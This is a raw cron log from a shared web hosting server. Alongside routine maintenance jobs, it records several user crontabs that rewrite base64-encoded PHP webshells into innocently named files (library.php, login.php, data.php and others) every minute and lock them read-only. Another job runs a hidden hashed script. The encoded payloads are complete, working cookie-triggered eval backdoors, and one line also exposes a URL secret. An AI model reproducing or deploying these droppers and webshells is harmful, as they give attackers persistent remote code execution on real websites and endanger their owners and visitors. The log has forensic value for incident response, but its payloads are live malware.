Jun  7 07:00:02 medusa CROND[23415]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 07:00:02 medusa CROND[23436]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23438]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23439]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:00:02 medusa CROND[23441]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 07:00:02 medusa CROND[23445]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23434]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 07:00:02 medusa CROND[23422]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Jun  7 07:00:02 medusa CROND[23442]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 07:01:01 medusa CROND[25630]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:01:01 medusa CROND[25641]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:01:01 medusa CROND[25642]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 07:01:01 medusa CROND[25643]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:01:01 medusa CROND[25644]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:01:01 medusa CROND[25645]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:01:01 medusa CROND[25647]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 07:01:01 medusa CROND[25646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:01:01 medusa CROND[25652]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:01:02 medusa CROND[25655]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:01:02 medusa CROND[25653]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:01:02 medusa CROND[25654]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:01:02 medusa CROND[25657]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:01:02 medusa CROND[25686]: (root) CMD (run-parts /etc/cron.hourly)
Jun  7 07:01:02 medusa run-parts(/etc/cron.hourly)[25686]: starting 0anacron
Jun  7 07:01:02 medusa run-parts(/etc/cron.hourly)[25726]: finished 0anacron
Jun  7 07:02:01 medusa CROND[27543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 07:02:01 medusa CROND[27544]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:02:01 medusa CROND[27546]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:02:01 medusa CROND[27545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 07:02:01 medusa CROND[27548]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 07:02:01 medusa CROND[27550]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 07:02:01 medusa CROND[27551]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 07:02:01 medusa CROND[27552]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 07:02:01 medusa CROND[27556]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 07:02:01 medusa CROND[27555]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:02:01 medusa CROND[27557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 07:02:01 medusa CROND[27558]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 07:02:01 medusa CROND[27559]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 07:03:01 medusa CROND[29503]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
